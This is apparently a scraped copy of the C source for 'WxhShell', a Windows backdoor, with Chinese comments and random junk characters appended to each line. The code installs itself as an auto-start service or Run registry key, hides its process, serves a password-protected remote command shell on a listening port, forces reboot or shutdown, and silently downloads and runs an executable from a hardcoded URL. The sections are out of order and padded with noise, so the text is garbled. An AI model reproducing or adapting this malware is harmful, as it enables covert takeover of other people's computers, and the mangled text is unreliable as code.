    if(Boot(SHUTDOWN)) ] \4-e2N`\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +&O[}%W  
    else { ?%JH4I2  
    closesocket(wsh); pA!+;Y!ZB<  
    ExitThread(0); |5F]y"Nb  
    }  []1VD#  
    break; RB\>$D  
    } bG^E]a/D  
  // 获取shell Cm JI"   
  case 's': { G- Sw`HHo  
    CmdShell(wsh); e3F)FTG&  
    closesocket(wsh); #fG!dD42  
    ExitThread(0); g/lv>*+gS  
    break; ~fAdOh  
  } ^^}  
  // 退出 Z2PLm0%:  
  case 'x': { d{9rEB?  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); PP[{ c  
    CloseIt(wsh); "h_n/}r=  
    break; ,`P,))  
    } X z2IAiAs'  
  // 离开 f>\?\!  
  case 'q': { ro}plK(<WQ  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); >J3N,f  
    closesocket(wsh); w]"Y1J(i  
    WSACleanup(); [LL"86D  
    exit(1); zO9$fU  
    break; M_T$\z;,  
        } 7w @.)@5  
  } [@rZ.Hsl  
  } fhLdM  
OB6I8n XW  
  // 提示信息 l#~Sh3@L(  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  n1y#gC  
} r7C  m  
  } Nq9Qsia&  
|I^\|5  
  return; I = qd\  
} W5 fO1F  
R|$=Pfg~4  
// shell模块句柄 }&y>g0$@  
int CmdShell(SOCKET sock) m3F.-KPO  
{ }-V .upl  
STARTUPINFO si; ?j ?{} Z  
ZeroMemory(&si,sizeof(si)); %a8'6^k  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 3y r{B Xn  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; uEVRk9nb  
PROCESS_INFORMATION ProcessInfo; AjAmV hq  
char cmdline[]="cmd"; zST# X}  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); | (v/>t  
  return 0; ? 4qN>uW=  
} qk~QcVg  
[jD O8n/  
// 自身启动模式 #ZCgpg$wM  
int StartFromService(void) 67 7p9{:  
{ 0w8Id . ,  
typedef struct z\_q`43U7  
{ $SG^, !!&A  
  DWORD ExitStatus; qq[2h~6P]  
  DWORD PebBaseAddress; }!Qo wG   
  DWORD AffinityMask; .3{S6#  
  DWORD BasePriority; d+fmVM?p  
  ULONG UniqueProcessId; 70lb6A  
  ULONG InheritedFromUniqueProcessId; -66|Y  
}   PROCESS_BASIC_INFORMATION; "LaNXZ9  
y"cK@sOo  
PROCNTQSIP NtQueryInformationProcess; `Wn0v2@a(~  
Ea!}r| ~]0  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; #8;^ys1f  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; V,|l&-  
m ~fqZK  
  HANDLE             hProcess; y<BiR@%,7  
  PROCESS_BASIC_INFORMATION pbi; A{x &5yX8  
]8+%57:E  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); /:ma}qG y  
  if(NULL == hInst ) return 0; NZ{kjAd3c  
L@CN0ezQs  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); rU<  H7U  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); x:xKlPGd  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Ad@))o2  
F8_pwJUpf-  
  if (!NtQueryInformationProcess) return 0; P%' bSx1  
"!E(= W?  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 0m7J'gm{  
  if(!hProcess) return 0; %[lX  H  
r5lp<md  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; DXSZ#^,S[W  
;NLL?6~  
  CloseHandle(hProcess); TjD`< k  
%j2YCV7  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); eK/[jxNO  
if(hProcess==NULL) return 0; U QXT&w  
.X_k[l9  
HMODULE hMod; .g(yTA  
char procName[255]; e<~uU9 lg1  
unsigned long cbNeeded; }`5%2iG  
fAUtqkB  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); "uTzmm$  
.}SW`R Pk  
  CloseHandle(hProcess); fhMtnh:  
Yx(?KN7V?  
if(strstr(procName,"services")) return 1; // 以服务启动 hS*3yCE"8  
zoC/Hm  
  return 0; // 注册表启动 >AN`L`%2  
} U lj2 Py}  
i&mu=J[  
// 主模块 Z=8 25[p  
int StartWxhshell(LPSTR lpCmdLine) VG2TiR1  
{ D?@330'P9C  
  SOCKET wsl; KNIYar*3  
BOOL val=TRUE; vq(@B  
  int port=0; "4`h -Y  
  struct sockaddr_in door; c#u-E6  
%pL ,A5M  
  if(wscfg.ws_autoins) Install(); J^n(WnM*F  
J%j#gyTU  
port=atoi(lpCmdLine); 0@*rp7   
72~)bu  
if(port<=0) port=wscfg.ws_port; f]T#q@|lE  
aODOc J N  
  WSADATA data; |;OM,U2  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ZN%$k-2  
"*%=k%'  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   NZ7a^xT_)  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); lG%oqxJ+ L  
  door.sin_family = AF_INET; l:j9lBS  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); [ {lF1+];@  
  door.sin_port = htons(port); {s=QwZdR  
aina6@S  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { &IXr*I  
closesocket(wsl); sKn>K/4JZ  
return 1; :E4i@ O7%  
} wC@4`h\U  
:ozHuHJ#  
  if(listen(wsl,2) == INVALID_SOCKET) { D~NH 4B  
closesocket(wsl); dfc-#I p?  
return 1; FEU$D\1y  
} Lkqu"V  
  Wxhshell(wsl); 2#T|+mKxZM  
  WSACleanup(); r'{pTgm#  
 EvTdwX.H  
return 0; e/#4)@]  
1i bQ'bZ  
} *bmk(%g  
A){kitx-i)  
// 以NT服务方式启动 I0m/   
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 9OF5A<%"u  
{ {YK6IgEsJe  
DWORD   status = 0; Z0b1E  
  DWORD   specificError = 0xfffffff; '(^p$=3|@D  
#mx;t3ja7  
  serviceStatus.dwServiceType     = SERVICE_WIN32; RL.%o?<&?  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; [A*vl9=  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Gxm+5q  
  serviceStatus.dwWin32ExitCode     = 0; |],{kUIXO  
  serviceStatus.dwServiceSpecificExitCode = 0; ""CJlqU  
  serviceStatus.dwCheckPoint       = 0; I*6L`#j[  
  serviceStatus.dwWaitHint       = 0; RTLu]Bry  
pfZn<n5p  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 8N ci1o  
  if (hServiceStatusHandle==0) return; ` mALx! `  
w V2 7  
status = GetLastError(); 6tzZ j:y q  
  if (status!=NO_ERROR) Ujq)h:`  
{ FE/&<g0,:  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; [RC|W%<Z>  
    serviceStatus.dwCheckPoint       = 0; I>L lc Y  
    serviceStatus.dwWaitHint       = 0; jqb,^T|j;m  
    serviceStatus.dwWin32ExitCode     = status; Zu&trxnNf[  
    serviceStatus.dwServiceSpecificExitCode = specificError; xhg{!w  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); F_YZV)q!W  
    return; z7HC6{g%X  
  } 0e:KiUr  
J +<|8D  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; VR*5}Qp  
  serviceStatus.dwCheckPoint       = 0; 7dV^35 KP  
  serviceStatus.dwWaitHint       = 0; asPD>jc  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Lm-}W "7  
} OSfwA&  
Dih~5  
// 处理NT服务事件,比如:启动、停止 )bPNL$O  
VOID WINAPI NTServiceHandler(DWORD fdwControl) u`E_Q8  
{ Q`r1pO  
switch(fdwControl) O=c&  
{ Axj<e!{D  
case SERVICE_CONTROL_STOP: m_\CK5T_  
  serviceStatus.dwWin32ExitCode = 0; rUx%2O|qu  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 3Y=T8Gi#  
  serviceStatus.dwCheckPoint   = 0; OjrQ[`(E  
  serviceStatus.dwWaitHint     = 0; Y<a/(`  
  { Og30&a!~F  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); xv4nYm9  
  } z)QyQ  
  return; )TRDM[u  
case SERVICE_CONTROL_PAUSE: E%H,Hk^  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; g6 7*Bs  
  break; 'Nfg%)-N  
case SERVICE_CONTROL_CONTINUE: Nm OQ7T  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; I0Wn?Qq=@  
  break; Haq23K  
case SERVICE_CONTROL_INTERROGATE: eUF PzioW  
  break; IQ2<Pinv  
}; Rg0\Ng4|G  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2S!=2u+7  
} e|+uLbN&;c  
Sq(=Bn6E  
// 标准应用程序主函数 ~5p `Kg*  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) [}P|OCW  
{ G=yQYsC$  
BtU,1`El5  
// 获取操作系统版本 El"XF?OgpP  
OsIsNt=GetOsVer(); DU}q4u@ )  
GetModuleFileName(NULL,ExeFile,MAX_PATH); !X[lNt O  
IO v4Zx<)  
  // 从命令行安装 p)TH^87  
  if(strpbrk(lpCmdLine,"iI")) Install(); 'y'>0'et  
Eptsxyz{  
  // 下载执行文件 Kq-y1h]7H  
if(wscfg.ws_downexe) { aASnk2DFd  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) pC#Z]_k  
  WinExec(wscfg.ws_filenam,SW_HIDE); LNg[fF^:  
} VMHiuBz:  
$JX_e  
if(!OsIsNt) { %,6@Uu#%6  
// 如果时win9x,隐藏进程并且设置为注册表启动 N_/&xHw  
HideProc(); 0FEb[+N  
StartWxhshell(lpCmdLine); QbOm JQ  
} QD\S E  
else RsTpjY*Xb  
  if(StartFromService()) 3 5|5|m a  
  // 以服务方式启动 *dUnP{6g  
  StartServiceCtrlDispatcher(DispatchTable); ^0X86  
else ] +Gi~  
  // 普通方式启动 j q1qj9KZ  
  StartWxhshell(lpCmdLine); K")-P9I6-f  
Jc{zi^)(EN  
return 0; 8)R )h/E>  
} (">!vz  
<C CEqY 4  
0{AVH/S  
9dKrE_zK:  
=========================================== BMFpkK9|  
I"<~!krt%  
ps<JKHC/c  
`33h4G  
%o^'(L@z  
6pr}A  
" OaU$ [Z'8  
&?zJ|7rh@|  
#include <stdio.h> @iWIgL  
#include <string.h> Q#:,s8TW[  
#include <windows.h> To=1B`@-  
#include <winsock2.h> v]_{oj_(-  
#include <winsvc.h> +=O8t0y n  
#include <urlmon.h> rl4daV&,U  
''f  
#pragma comment (lib, "Ws2_32.lib") A:NsDEt  
#pragma comment (lib, "urlmon.lib") F Fg0}  
sVh!5fby&  
#define MAX_USER   100 // 最大客户端连接数 `$MO.K{  
#define BUF_SOCK   200 // sock buffer L$(W* PG}  
#define KEY_BUFF   255 // 输入 buffer mjy%xzVr6^  
3R4-MK  
#define REBOOT     0   // 重启 n %"s_W'E  
#define SHUTDOWN   1   // 关机 ,`-6!|:  
~rn82an@G  
#define DEF_PORT   5000 // 监听端口 )G*H l^Z;4  
eJ7A.O  
#define REG_LEN     16   // 注册表键长度 3n6_yK+D  
#define SVC_LEN     80   // NT服务名长度 *h-nI=  
W.0dGUi*  
// 从dll定义API VQqEsnkz  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); UN,@K9  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); !7 *X{D v  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 4fpz;2%  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); B.&q]CA v-  
`<\AnhNW]I  
// wxhshell配置信息 J0|/g2%0  
struct WSCFG { q/%f2U%4:  
  int ws_port;         // 监听端口 6S`eN\s  
  char ws_passstr[REG_LEN]; // 口令 9^Wj<  
  int ws_autoins;       // 安装标记, 1=yes 0=no 5F <zW-;  
  char ws_regname[REG_LEN]; // 注册表键名 ;t*45  
  char ws_svcname[REG_LEN]; // 服务名 xj%h-@o6  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 b.ow0WYe  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ,)oUdwR k  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 <=jE,6_|  
int ws_downexe;       // 下载执行标记, 1=yes 0=no fkk\Q>J9!=  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Is?0q@  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 6ng . =  
qIO)Z   
}; fE_QB=9 cz  
ApS/,cV  
// default Wxhshell configuration P8;|>OLZ)  
struct WSCFG wscfg={DEF_PORT, )+cP8$n6L  
    "xuhuanlingzhe", | L fH,6  
    1, H;IG\k6C  
    "Wxhshell", 4b6$Mj  
    "Wxhshell", $&lS7}  
            "WxhShell Service", h'kgL~+$  
    "Wrsky Windows CmdShell Service", vco:6Ab$  
    "Please Input Your Password: ", ds7I .Q'  
  1, 2ht<"  
  "http://www.wrsky.com/wxhshell.exe", dwJ'hg  
  "Wxhshell.exe" MdEZ839J  
    }; ]j_S2lt  
hc~--[1c:  
// 消息定义模块 >Qt#6X|  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; m 0un=>{  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 6!b96bV  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 6,s@>8n  
char *msg_ws_ext="\n\rExit."; \zgRzO'N  
char *msg_ws_end="\n\rQuit."; Pi)`[\{  
char *msg_ws_boot="\n\rReboot..."; xN2{Vi{ad  
char *msg_ws_poff="\n\rShutdown..."; ?c=l"\^x  
char *msg_ws_down="\n\rSave to "; f]o DZO%^  
9e8@0?0  
char *msg_ws_err="\n\rErr!"; oa;[[2c  
char *msg_ws_ok="\n\rOK!"; wf8vKl#Kfw  
-+ $u  
char ExeFile[MAX_PATH]; w 7=Y_  
int nUser = 0; 37 M7bB0  
HANDLE handles[MAX_USER]; #2x\d  
int OsIsNt; d [K56wbpx  
9[$g;}w  
SERVICE_STATUS       serviceStatus; Kw925@W  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; u4+)lvt  
c67O/ B(  
// 函数声明 1z[WJ}$u  
int Install(void); 6RzTSb  
int Uninstall(void); S/7D}hJ  
int DownloadFile(char *sURL, SOCKET wsh); vbFY}  
int Boot(int flag); .;*0odxv  
void HideProc(void); i,* DWD+  
int GetOsVer(void); #lV&U  
int Wxhshell(SOCKET wsl); m,)Re8W-  
void TalkWithClient(void *cs); (Dc dR:/=  
int CmdShell(SOCKET sock); N}.h_~6  
int StartFromService(void); p3sz32RX  
int StartWxhshell(LPSTR lpCmdLine); a>""MC2  
HykJ}ezX4  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 80:na7$)#  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); [f- #pew  
Cn+TcdHX  
// 数据结构和表定义 c;(}Ih(#  
SERVICE_TABLE_ENTRY DispatchTable[] = ;k!Ej-(  
{ rQ~%SUM7  
{wscfg.ws_svcname, NTServiceMain}, 63F0Za}h  
{NULL, NULL} SM0=  
}; uQpV1o5iA  
#pOW2 Uj8\  
// 自我安装 Sy8o/-  
int Install(void) 5+,&9;'Y^  
{ {N7,=(-2=  
  char svExeFile[MAX_PATH]; ` LU&]NS3  
  HKEY key; t {x&|%u  
  strcpy(svExeFile,ExeFile); M{hA`  
'4N[bRCn  
// 如果是win9x系统,修改注册表设为自启动  (lt/ t  
if(!OsIsNt) {  !X |Tf  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %T1(3T{Li  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); > `z^AB   
  RegCloseKey(key); *B@<{x r  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +a;: 7[%&  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Qv']*C[!z  
  RegCloseKey(key); nA%-<  
  return 0; MPM_/dn-  
    } UW)k]@L  
  } Pm" ,7  
} L;grH5K5  
else { shP,-Vs #  
#gi&pR'$  
// 如果是NT以上系统,安装为系统服务 W;Fcp  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); =]etw  
if (schSCManager!=0) J#'c+\B<2X  
{ CUY2eQJ{U  
  SC_HANDLE schService = CreateService %Ix^Xb0  
  ( 2/(gf[elX  
  schSCManager, CX\# |Q8q  
  wscfg.ws_svcname, LTFA2X&E=  
  wscfg.ws_svcdisp, y{"8VT)  
  SERVICE_ALL_ACCESS, L88oh&M  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , lD 9'^J  
  SERVICE_AUTO_START, )UN@|IX  
  SERVICE_ERROR_NORMAL, D Q~+\  
  svExeFile,  UIhB  
  NULL, cBc6*%ZD  
  NULL, wGb{O  
  NULL, ^Z2%b>  
  NULL, cl14FrpYu  
  NULL ?XW+&!ar  
  ); 3}Uae#oy  
  if (schService!=0) HLTz|P0JZ  
  { ioh_5 5e  
  CloseServiceHandle(schService); 0'aZ*ozk  
  CloseServiceHandle(schSCManager); uXtfP?3Vy  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); =C5 [75z#+  
  strcat(svExeFile,wscfg.ws_svcname); h:j-Xd$H+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { nD E5A  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); vmW4a3  
  RegCloseKey(key); d+"KXt5CV  
  return 0; hb^e2@i;Oq  
    } @HaWd 3  
  } 2u#{K9g  
  CloseServiceHandle(schSCManager); WYI? M  
} NoiU5pP  
} 1~ZDHfd5  
^c.b@BE  
return 1; Q_M2!qj  
} *>Om3[D  
Z1OX9]##r  
// 自我卸载 Y$Os&t@bu  
int Uninstall(void) 3nR|*t;  
{ hLJO\=0rJz  
  HKEY key; w;{k\=W3Ff  
zg|yW6l)9  
if(!OsIsNt) { 9;JU c0%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { qlDLZ.  
  RegDeleteValue(key,wscfg.ws_regname); sm\/wlbE  
  RegCloseKey(key); */?L_\7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { x{RTI#a.  
  RegDeleteValue(key,wscfg.ws_regname); $"x(:  
  RegCloseKey(key); 4!iS"QH?;^  
  return 0; i~k?k.t8  
  } qdUlT*fw  
} y\)bxmC  
} 9l OUE  
else { 'Y>!xm   
u4fTC})4{C  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); vjbot^W9  
if (schSCManager!=0) 6 U# C  
{ ;?%2dv2d  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Q;5aM%a`  
  if (schService!=0) &[JI L=m5  
  { b @5&<V;r2  
  if(DeleteService(schService)!=0) { vJXd{iQE@C  
  CloseServiceHandle(schService); Zw"6-h4  
  CloseServiceHandle(schSCManager); M,y='*\M  
  return 0; ]FQ4v.7  
  } E2%7v  
  CloseServiceHandle(schService); H$\?D+xlf  
  } hoSk  
  CloseServiceHandle(schSCManager); s7T=/SC54  
} 2yeq2v   
} 7|65;jm+  
EYG&~a>L*  
return 1; y$\K@B4  
} 7B+?1E(  
h :NHReMT  
// 从指定url下载文件 A+ Z3b:}~  
int DownloadFile(char *sURL, SOCKET wsh) $W` &7  
{ 'KyT]OObS  
  HRESULT hr; |oO0%#1H  
char seps[]= "/"; bu@Pxz%_  
char *token; *GD 1[:  
char *file; 2NE/ZqREg  
char myURL[MAX_PATH]; -cIc&5CS  
char myFILE[MAX_PATH]; yf_<o   
'_(oa<g  
strcpy(myURL,sURL); QZQ@C#PR;  
  token=strtok(myURL,seps); w_A-:S 5C  
  while(token!=NULL) AGrGZ7p]  
  { F fl`;M  
    file=token; => -b?F0(c  
  token=strtok(NULL,seps); "fz-h  
  } y~U+MtSf#  
T|9Yo=UK%  
GetCurrentDirectory(MAX_PATH,myFILE); 5)&e2V',y  
strcat(myFILE, "\\"); vP&*(WfO)  
strcat(myFILE, file); t"RgEH@  
  send(wsh,myFILE,strlen(myFILE),0); X2sK<Qluql  
send(wsh,"...",3,0); zA( 2+e 7  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ?Vt$  
  if(hr==S_OK) `b9oH^}n j  
return 0; 0Dh a1[=  
else :gQc@)jZ(*  
return 1; 5dYIL`  
& +%CC  
} Z<ke!H  
/R@(yT=t  
// 系统电源模块 <|.S~HLTQ  
int Boot(int flag) @LwhQ  
{ sM~CP zMa  
  HANDLE hToken; +R#*eo;o7  
  TOKEN_PRIVILEGES tkp; Nnv&~ D>  
,0#OA* 0B  
  if(OsIsNt) { $OjsaE %  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); i.K}(bo;b  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ]T zN*6o  
    tkp.PrivilegeCount = 1; }yB@?  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; !j7b7<wR  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); t}*teo[  
if(flag==REBOOT) { 3PBg3Y$  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) !gJAK<]iW  
  return 0; R<JI  
} Hi.JL  
else { >@]E1Qfe  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ;'p0"\SV  
  return 0; 73N%_8DH  
} a.w,@!7  
  } #gsAwna3  
  else { 1 4(?mM3   
if(flag==REBOOT) { uY'Ib[H  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) RZ?>>Ll6  
  return 0; ?8vjHEE  
} &TC  
else { r Ld,Izi  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) U76:F?MH  
  return 0; o"'VI4  
} )%#hpP M^  
} a#G7pZX/I}  
qZ8lU   
return 1; |wK)(s  
} /a9+R)Al  
zRf]SZ(t O  
// win9x进程隐藏模块 YK"({Z>U  
void HideProc(void) ZO0_:T#Z  
{ _KD(V2W  
ijoR(R^r  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); +8 6\&y)  
  if ( hKernel != NULL ) .:<c[EJ b  
  { dcXtT3,kpX  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); i37W^9 R  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); O\G%rp L$w  
    FreeLibrary(hKernel); *sL'6"#Cre  
  } +.>O%pNj  
z!RA=]3h  
return; Z39^nGO  
} >1joCG~  
3zh'5qQ  
// 获取操作系统版本 kTFN.kQx@  
int GetOsVer(void) 1 u&P,&T  
{ C,fIwqOr3  
  OSVERSIONINFO winfo; M_*w)<  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); e@ F& /c  
  GetVersionEx(&winfo); yChC&kX Z+  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 7a@V2cr@  
  return 1; ,ew<T{PL  
  else ",~3&wx  
  return 0; EE%OD~u&9#  
} IP{Cj=  
3&2,[G04  
// 客户端句柄模块 U ][.ioc  
int Wxhshell(SOCKET wsl) bF B;N+>  
{ xn6E f"  
  SOCKET wsh; QjZ}*p  
  struct sockaddr_in client; #!, xjd  
  DWORD myID; ,pAMQ5  
[ >vS+G  
  while(nUser<MAX_USER) y& Dd  
{ 8mCr6$|%  
  int nSize=sizeof(client); ybYSz@7  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); MTLcLmdO  
  if(wsh==INVALID_SOCKET) return 1; v,>q]! |a  
br'~SXl  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); a"WnBdFZ  
if(handles[nUser]==0) ~vF.k,  
  closesocket(wsh); q*'hSt@+D  
else 4)XN1r:  
  nUser++; lg!1q8  
  } .|iUDp6vz  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); T-<^mX[}  
;$|+H"g|  
  return 0; -3w? y  
} kdW i!Hp  
4|Y0 $(6o  
// 关闭 socket RNi&OG(  
void CloseIt(SOCKET wsh) ;M'R/JlUN  
{ *[vf47)r!  
closesocket(wsh); oh:t ex<  
nUser--; z<AQ;b  
ExitThread(0); ]%mg(&p4  
} YY]LK%-  
i]1[eGF  
// 客户端请求句柄 )<3WVvB  
void TalkWithClient(void *cs) 3>S.wyMR4  
{ -Mv`|odY/  
x80~j(uVf  
  SOCKET wsh=(SOCKET)cs; "`&?<82  
  char pwd[SVC_LEN]; ZS}2(t   
  char cmd[KEY_BUFF]; M5%xp.B  
char chr[1]; 7Y!^88,f.  
int i,j; lezdJ  
F.@yNr"  
  while (nUser < MAX_USER) { y ruN5  
'z!I#Y!Y  
if(wscfg.ws_passstr) { BJ&>'rc  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); pq4+n'uO  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Y %<B,3  
  //ZeroMemory(pwd,KEY_BUFF); _~_Hup  
      i=0; !XtbZ-  
  while(i<SVC_LEN) { ~gX@2!D5k  
D/{-  
  // 设置超时 R'9TD=qEK  
  fd_set FdRead; L8ZCGW\Rr  
  struct timeval TimeOut; .#+rH}=Z  
  FD_ZERO(&FdRead); ?=PQQx2_*u  
  FD_SET(wsh,&FdRead); YemOP9  
  TimeOut.tv_sec=8; {8UBxFIM(  
  TimeOut.tv_usec=0; ^U`[P@T  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 0<^K0>lm p  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); g8vN^nQf[  
Rf8|-G-}#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); H5qa7JMZ  
  pwd=chr[0]; _ -?)-L&g  
  if(chr[0]==0xd || chr[0]==0xa) { J 0s8vAs  
  pwd=0; p*dez!  
  break; 3Um\?fj>}(  
  } o >W}1_  
  i++; ?j $z[_K  
    } ,q:6[~n  
: ;d&m  
  // 如果是非法用户,关闭 socket 40:YJ_n  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Q)Ppx7)  
} NIYAcLa@n8  
^K;,,s;0  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 9MGA#a  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 73]%^kx=  
{yfG_J  
while(1) { kvo741RO6  
kmP0gT{Sj  
  ZeroMemory(cmd,KEY_BUFF); 0TVO'$Gvi  
H9 't;Do  
      // 自动支持客户端 telnet标准   l+T\DZ  
  j=0; %GHHnf%2Z  
  while(j<KEY_BUFF) { #b{otc)  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); LoTq2/  
  cmd[j]=chr[0]; GLk7# Y  
  if(chr[0]==0xa || chr[0]==0xd) { 3S.rIai+  
  cmd[j]=0; 7R)"HfUh  
  break;  rZDKVx  
  } n JLr]`_  
  j++; al" 1T-  
    } 2o/AH \=2  
t#<q O6&B  
  // 下载文件 a_pkUOu6  
  if(strstr(cmd,"http://")) { s+ 0$_&xR  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 6?hv ,^  
  if(DownloadFile(cmd,wsh))  Q.cxen  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZPMX19  
  else (zTr/  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u}u2{pO!  
  } x.45!8Zb  
  else { *D|6g| Hb  
